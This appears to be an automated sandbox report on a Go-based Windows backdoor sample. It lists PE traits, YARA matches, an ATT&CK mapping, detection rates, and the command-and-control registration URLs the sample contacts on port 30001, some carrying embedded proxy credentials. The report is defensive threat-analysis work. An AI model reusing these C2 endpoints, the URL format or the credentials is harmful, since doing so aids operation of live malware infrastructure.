Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	String found in binary or memory: mlfstack node allocated from the heapruntime: invalid typeBitsBulkBarrieruncaching span but s.allocCount == 0/memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: unblock on closing polldescruntime: inconsistent write deadlineUnable to determine system directoryruntime: sudog with non-nil waitlinkruntime: mcall called on m->g0 stackstartm: P required for spinning=trueruntime: wrong goroutine in newstack

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

File read: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Section loaded: mswsock.dll	Jump to behavior

Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Static file information: File size 7139840 > 1048576

Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x401400
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x276c00

Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Static PE information: section name: .symtab

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 30001 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 30001 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 30001 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 30001 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 30001 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 30001 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 30001 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 30001 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 30001 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 30001 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 30001 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 30001 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 30001 -> 49722

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Code function: 0_2_003BF450 rdtscp

0_2_003BF450

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

System information queried: CurrentTimeZoneInformation

Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Code function: 0_2_003912A0 GetSystemInfo,SetProcessPriorityBoost,

0_2_003912A0

Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157403206.000000000141E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Code function: 0_2_003BF450 rdtscp

0_2_003BF450

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Code function: 0_2_003A7850 AddVectoredExceptionHandler,SetUnhandledExceptionFilter,

0_2_003A7850

Stealing of Sensitive Information

Yara detected GO Backdoor

Source: Yara match	File source: 00000000.00000002.2157529596.0000000001862000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2157529596.000000000190E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2159473753.0000000001A00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2157529596.000000000186A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2158983127.00000000019BA000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2157529596.0000000001962000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2157529596.0000000001942000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2158983127.00000000019CA000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2157529596.000000000185E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2157529596.000000000193E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2157529596.0000000001864000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2157529596.0000000001946000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe PID: 6032, type: MEMORYSTR

Remote Access Functionality

Yara detected GO Backdoor

Source: Yara match	File source: 00000000.00000002.2157529596.0000000001862000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2157529596.000000000190E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2159473753.0000000001A00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2157529596.000000000186A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2158983127.00000000019BA000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2157529596.0000000001962000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2157529596.0000000001942000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2158983127.00000000019CA000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2157529596.000000000185E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2157529596.000000000193E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2157529596.0000000001864000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2157529596.0000000001946000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe PID: 6032, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	2 Obfuscated Files or Information	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	Security Account Manager	3 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	1 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	1 Proxy	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Download Video

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	42%	ReversingLabs	Win32.Trojan.Gracing
SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	65%	Virustotal		Browse
SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	100%	Avira	TR/Crypt.XPACK.Gen
SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	100%	Joe Sandbox ML

URLs

Source	Detection	Scanner	Label	Link
http://91.142.74.28:30001/api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn	0%	Avira URL Cloud	safe
http://77.238.224.56:30001	0%	Avira URL Cloud	safe
http://195.2.70.38:30001/api/helper-first-register?	100%	Avira URL Cloud	malware
http://77.238.229.63:30001/api/helper-first-register?	0%	Avira URL Cloud	safe
http://77.238.224.56:30001/api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn	0%	Avira URL Cloud	safe
http://77.238.224.56:30001/api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b8	0%	Avira URL Cloud	safe
http://195.2.70.38:30001/api/helper-first-register?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVW	100%	Avira URL Cloud	malware
http://77.238.224.56:30001/api/helper-first-register	0%	Avira URL Cloud	safe
http://195.2.70.38:30001/api/helper-first-register?	5%	Virustotal		Browse
http://195.2.70.38:30001/api/helper-first-register	100%	Avira URL Cloud	malware
http://77.238.224.56:30001	0%	Virustotal		Browse
http://77.238.250.123:30001/api/helper-first-register?	0%	Avira URL Cloud	safe
http://77.238.229.63:30001/api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn	0%	Avira URL Cloud	safe
http://77.238.224.56:30001/api/helper-first-register?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTU	0%	Avira URL Cloud	safe
http://91.142.74.28:30001/api/helper-first-register?	0%	Avira URL Cloud	safe
http://195.2.70.38:30001/api/helper-first-register?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVW	4%	Virustotal		Browse
http://195.2.70.38:30001/api/helper-first-register	5%	Virustotal		Browse
http://91.142.74.28:30001/api/helper-first-register?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUV	0%	Avira URL Cloud	safe
http://91.142.74.28:30001/api/helper-first-register?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUV	0%	Virustotal		Browse
http://77.238.224.56:30001/api/helper-first-register	2%	Virustotal		Browse
http://77.238.250.123:30001abcdefghijklmnopqrstuvwxyzABCDEFg1eMZ8Fg2024/08/04	0%	Avira URL Cloud	safe
http://77.238.224.56:30001/api/helper-first-register?	0%	Avira URL Cloud	safe
http://HTTP/1.1X-Api-Key	0%	Avira URL Cloud	safe
http://77.238.250.123:30001abcdefghijklmnopqrstuvwxyzABCDEFDbSoScCp923ec5c02989f28b859f51c6956b5ad19	0%	Avira URL Cloud	safe
http://91.142.74.28:30001abcdefghijklmnopqrstuvwxyzABCDEFIEr8ObJLHTTP/1.1	0%	Avira URL Cloud	safe
http://77.238.229.63:30001	0%	Avira URL Cloud	safe
http://77.238.250.123:30001/api/helper-first-register2024/08/04	0%	Avira URL Cloud	safe
http://91.142.74.28:30001/api/helper-first-register?	2%	Virustotal		Browse
http://77.238.250.123:30001/api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn	0%	Avira URL Cloud	safe
http://195.2.70.38:30001195.2.70.38:30001HTTP_PROXYhttp_proxyHTTPS_PROXYhttps_proxyNO_PROXYno_proxyw	0%	Avira URL Cloud	safe
http://77.238.224.56:30001abcdefghijklmnopqrstuvwxyzABCDEFoWemEAaDHTTP/1.1	0%	Avira URL Cloud	safe
http://77.238.229.63:30001abcdefghijklmnopqrstuvwxyzABCDEFqaG5VsBPHTTP/1.1	0%	Avira URL Cloud	safe
http://77.238.229.63:30001	0%	Virustotal		Browse
http://77.238.229.63:30001/api/helper-first-register	0%	Avira URL Cloud	safe
http://77.238.224.56:30001/api/helper-first-register?	0%	Virustotal		Browse
http://91.142.74.28:30001	0%	Avira URL Cloud	safe
http://195.2.70.38:30001/api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859	100%	Avira URL Cloud	malware
http://91.142.74.28:30001abcdefghijklmnopqrstuvwxyzABCDEFJBO2t1wntext/plain;	0%	Avira URL Cloud	safe
http://195.2.70.38:30001195.2.70.38:30001	0%	Avira URL Cloud	safe
http://77.238.224.56:30001abcdefghijklmnopqrstuvwxyzABCDEFUS01QypY923ec5c02989f28b859f51c6956b5ad192	0%	Avira URL Cloud	safe
http://77.238.229.63:30001/api/helper-first-register	1%	Virustotal		Browse
http://77.238.250.123:30001/api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b	0%	Avira URL Cloud	safe
http://91.142.74.28:30001/api/helper-first-register	0%	Avira URL Cloud	safe
http://195.2.70.38:30001195.2.70.38:300011u	0%	Avira URL Cloud	safe
http://91.142.74.28:30001	2%	Virustotal		Browse
http://77.238.229.63:30001/api/helper-first-register?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTU	0%	Avira URL Cloud	safe
http://77.238.224.56:30001abcdefghijklmnopqrstuvwxyzABCDEFdzQpInVp	0%	Avira URL Cloud	safe
http://77.238.250.123:30001	0%	Avira URL Cloud	safe
http://195.2.70.38:30001/api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn	100%	Avira URL Cloud	malware
http://77.238.229.63:30001/api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b8	0%	Avira URL Cloud	safe
http://77.238.250.123:30001/api/helper-first-register?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRST	0%	Avira URL Cloud	safe
http://91.142.74.28:30001abcdefghijklmnopqrstuvwxyzABCDEFJStZJSWtHTTP/1.1	0%	Avira URL Cloud	safe
http://77.238.250.123:30001/api/helper-first-register	0%	Avira URL Cloud	safe
http://91.142.74.28:30001/api/helper-first-register	2%	Virustotal		Browse
http://91.142.74.28:30001/api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b85	0%	Avira URL Cloud	safe
http://77.238.250.123:30001/api/helper-first-registerhttp://195.2.70.38:30001/api/helper-first-regis	0%	Avira URL Cloud	safe
http://195.2.70.38:30001/api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn	4%	Virustotal		Browse
http://77.238.250.123:30001/api/helper-first-register	0%	Virustotal		Browse
http://77.238.250.123:30001	0%	Virustotal		Browse

Domains and IPs

Download Network PCAP: filtered – full

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://91.142.74.28:30001/api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn	false	Avira URL Cloud: safe	unknown
http://77.238.224.56:30001/api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn	false	Avira URL Cloud: safe	unknown
http://77.238.229.63:30001/api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn	false	Avira URL Cloud: safe	unknown
http://77.238.250.123:30001/api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn	false	Avira URL Cloud: safe	unknown
http://195.2.70.38:30001/api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn	false	4%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://77.238.224.56:30001	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.0000000001982000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001812000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.238.229.63:30001/api/helper-first-register?	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.000000000198E000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001888000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://195.2.70.38:30001/api/helper-first-register?	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.000000000198E000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001888000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001810000.00000004.00001000.00020000.00000000.sdmp	false	5%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://77.238.224.56:30001/api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b8	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.000000000191C000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.000000000184C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://195.2.70.38:30001/api/helper-first-register?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVW	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.000000000198E000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001888000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001810000.00000004.00001000.00020000.00000000.sdmp	false	4%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://77.238.224.56:30001/api/helper-first-register	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://195.2.70.38:30001/api/helper-first-register	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001884000.00000004.00001000.00020000.00000000.sdmp	false	5%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://77.238.250.123:30001/api/helper-first-register?	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001888000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001810000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.238.224.56:30001/api/helper-first-register?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTU	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.000000000198E000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001888000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001810000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.142.74.28:30001/api/helper-first-register?	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.000000000198E000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001810000.00000004.00001000.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://91.142.74.28:30001/api/helper-first-register?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUV	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.000000000198E000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001810000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.238.250.123:30001abcdefghijklmnopqrstuvwxyzABCDEFg1eMZ8Fg2024/08/04	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001812000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://HTTP/1.1X-Api-Key	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.0000000001980000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.000000000180A000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.238.224.56:30001/api/helper-first-register?	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.000000000198E000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001888000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001810000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.238.229.63:30001	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.0000000001982000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.238.250.123:30001abcdefghijklmnopqrstuvwxyzABCDEFDbSoScCp923ec5c02989f28b859f51c6956b5ad19	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.142.74.28:30001abcdefghijklmnopqrstuvwxyzABCDEFIEr8ObJLHTTP/1.1	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001812000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.238.250.123:30001/api/helper-first-register2024/08/04	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001876000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.00000000018B6000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://195.2.70.38:30001195.2.70.38:30001HTTP_PROXYhttp_proxyHTTPS_PROXYhttps_proxyNO_PROXYno_proxyw	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.0000000001994000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.238.224.56:30001abcdefghijklmnopqrstuvwxyzABCDEFoWemEAaDHTTP/1.1	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.238.229.63:30001abcdefghijklmnopqrstuvwxyzABCDEFqaG5VsBPHTTP/1.1	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.238.229.63:30001/api/helper-first-register	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://91.142.74.28:30001	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.0000000001982000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001812000.00000004.00001000.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://195.2.70.38:30001/api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.0000000001996000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://91.142.74.28:30001abcdefghijklmnopqrstuvwxyzABCDEFJBO2t1wntext/plain;	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.0000000001982000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://195.2.70.38:30001195.2.70.38:30001	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.0000000001994000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001814000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.00000000018F4000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
